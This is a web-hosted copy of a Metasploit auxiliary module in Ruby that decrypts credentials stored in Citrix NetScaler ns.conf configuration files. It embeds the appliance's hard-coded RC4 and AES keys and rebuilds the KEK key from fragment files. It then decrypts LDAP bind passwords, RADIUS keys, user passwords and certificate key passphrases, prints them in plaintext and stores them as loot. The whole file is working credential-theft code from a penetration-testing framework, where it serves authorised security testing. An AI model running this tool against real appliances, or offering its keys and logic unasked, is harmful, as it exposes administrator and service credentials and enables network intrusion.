CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasploit/framework/credential_collection'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Decrypt Citrix NetScaler Config Secrets',
16
'Description' => %q{
17
This module takes a Citrix NetScaler ns.conf configuration file as
18
input and extracts secrets that have been stored with reversible
19
encryption. The module supports legacy NetScaler encryption (RC4)
20
as well as the newer AES-256-ECB and AES-256-CBC encryption types.
21
It is also possible to decrypt secrets protected by the Key
22
Encryption Key (KEK) method, provided the key fragment files F1.key
23
and F2.key are provided.
24
},
25
'Author' => 'npm[at]cesium137.io',
26
'Platform' => [ 'bsd' ],
27
'DisclosureDate' => '2022-05-19',
28
'License' => MSF_LICENSE,
29
'References' => [
30
['URL', 'https://dozer.nz/posts/citrix-decrypt/'],
31
['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']
32
],
33
'Actions' => [
34
[
35
'Dump',
36
{
37
'Description' => 'Dump secrets from NetScaler configuration'
38
}
39
]
40
],
41
'DefaultAction' => 'Dump',
42
'Notes' => {
43
'Stability' => [ CRASH_SAFE ],
44
'Reliability' => [ REPEATABLE_SESSION ],
45
'SideEffects' => [ ARTIFACTS_ON_DISK ]
46
}
47
)
48
)
49
50
register_options([
51
OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),
52
OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),
53
OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),
54
OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
55
])
56
end
57
58
def loot_host
59
datastore['NS_IP'] || '127.0.0.1'
60
end
61
62
def ns_conf
63
datastore['NS_CONF']
64
end
65
66
def ns_kek_f1
67
datastore['NS_KEK_F1']
68
end
69
70
def ns_kek_f2
71
datastore['NS_KEK_F2']
72
end
73
74
# ns.conf elements that contain potential secrets, update as needed
75
# k = parameter that has the secret (-key, -password, [...])
76
# v = start of config line that potentially has a secret
77
def ns_secret
78
{
79
'key' => ['add ssl certKey'],
80
'keyValue' => ['set ns encryptionParams'],
81
'radKey' => ['add authentication radiusAction'],
82
'ldapBindDnPassword' => ['add authentication ldapAction'],
83
'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],
84
'passPhrase' => ['add authentication dfaAction']
85
}
86
end
87
88
# Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf
89
def ns90_rc4key
90
'2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')
91
end
92
93
def ns90_aeskey
94
'351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')
95
end
96
97
def run
98
if ns_kek_f1 && ns_kek_f2
99
print_status('Building NetScaler KEK from key fragments ...')
100
build_ns_kek
101
end
102
parse_ns_config
103
end
104
105
def build_ns_kek
106
unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256
107
print_error('KEK files must be 256 bytes in size')
108
return false
109
end
110
f1_hex = File.binread(ns_kek_f1)
111
f2_hex = File.binread(ns_kek_f2)
112
unless f1_hex.match?(/^[0-9a-f]+$/i)
113
print_error('Provided F1.key is not valid hexadecimal data')
114
raise Msf::OptionValidateError, ['NS_KEK_F1']
115
end
116
unless f2_hex.match?(/^[0-9a-f]+$/i)
117
print_error('Provided F2.key is not valid hexadecimal data')
118
raise Msf::OptionValidateError, ['NS_KEK_F2']
119
end
120
f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')
121
f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')
122
f1_key_hex = f1_key.unpack('H*').first
123
f2_key_hex = f2_key.unpack('H*').first
124
print_good('NS KEK F1')
125
print_good("\t HEX: #{f1_key_hex}")
126
print_good('NS KEK F2')
127
print_good("\t HEX: #{f2_key_hex}")
128
@ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')
129
@ns_kek_key_hex = @ns_kek_key.unpack('H*').first
130
print_good('Assembled NS KEK AES key')
131
print_good("\t HEX: #{@ns_kek_key_hex}\n")
132
true
133
end
134
135
def parse_ns_config
136
ns_config_data = File.binread(ns_conf)
137
ns_secret.each do |secret|
138
element = secret[0]
139
secret[1].each do |keyword|
140
lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }
141
lines.each do |line|
142
is_kek = false
143
config_entry = line.to_s
144
ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }
145
unless ciphertext.first
146
ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }
147
next unless ciphertext.first
148
end
149
enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s
150
if config_entry.match?(/-kek/)
151
is_kek = true
152
end
153
print_status("Config line:\n#{config_entry}")
154
if is_kek && !@ns_kek_key
155
print_warning('Entry was encrypted with KEK but no KEK fragment files provided, decryption will not be possible')
156
next
157
end
158
username = parse_username_from_config(config_entry)
159
ciphertext.each do |encrypted|
160
encrypted_entry = encrypted.to_s
161
if encrypted_entry =~ /^[0-9a-f]+$/i
162
ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')
163
else
164
ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')
165
# TODO: Implement -passcrypt functionality
166
# ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)
167
print_warning('Not decrypting passcrypt entry:')
168
print_warning("Ciphertext: #{ciphertext_b64}")
169
next
170
end
171
case enc_type
172
when 'ENCMTHD_2' # aes-256-ecb
173
if is_kek
174
aeskey = @ns_kek_key
175
else
176
aeskey = ns90_aeskey
177
end
178
plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
179
when 'ENCMTHD_3' # aes-256-cbc
180
if is_kek
181
aeskey = @ns_kek_key
182
else
183
aeskey = ns90_aeskey
184
end
185
plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
186
else # rc4 (legacy)
187
plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)
188
end
189
next unless plaintext
190
191
if username
192
print_good("User: #{username}")
193
print_good("Pass: #{plaintext}")
194
store_valid_credential(user: username, private: plaintext)
195
else
196
print_good("Plaintext: #{plaintext}")
197
store_valid_credential(user: element, private: plaintext)
198
end
199
end
200
end
201
end
202
end
203
end
204
205
def parse_username_from_config(line)
206
# Ugly but effective way to extract the principal name from a config line for loot storage
207
# The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern
208
[' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|
209
next unless line.match?(/#{user_param} (.+)/)
210
211
user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s
212
if user_name.match?('"')
213
user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s
214
end
215
return user_name
216
end
217
false
218
end
219
220
def ns_rc4_decrypt(rc4key, ciphertext_bytes)
221
decipher = OpenSSL::Cipher.new('rc4')
222
decipher.decrypt
223
decipher.key = rc4key
224
decipher.update(ciphertext_bytes)
225
rescue OpenSSL::Cipher::CipherError
226
print_error("#{__method__}: bad decrypt")
227
return false
228
end
229
230
def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
231
decipher = OpenSSL::Cipher.new('aes-256-ecb')
232
decipher.decrypt
233
decipher.padding = 0
234
decipher.key = aeskey
235
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
236
rescue OpenSSL::Cipher::CipherError
237
print_error("#{__method__}: bad decrypt")
238
return false
239
end
240
241
def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
242
decipher = OpenSSL::Cipher.new('aes-256-cbc')
243
iv = ciphertext_bytes[0, 16]
244
ciphertext = ciphertext_bytes[16..]
245
decipher.decrypt
246
decipher.iv = iv
247
decipher.padding = 1
248
decipher.key = aeskey
249
(decipher.update(ciphertext) + decipher.final).delete("\000")
250
rescue OpenSSL::Cipher::CipherError
251
print_error("#{__method__}: bad decrypt")
252
return false
253
end
254
end
255
256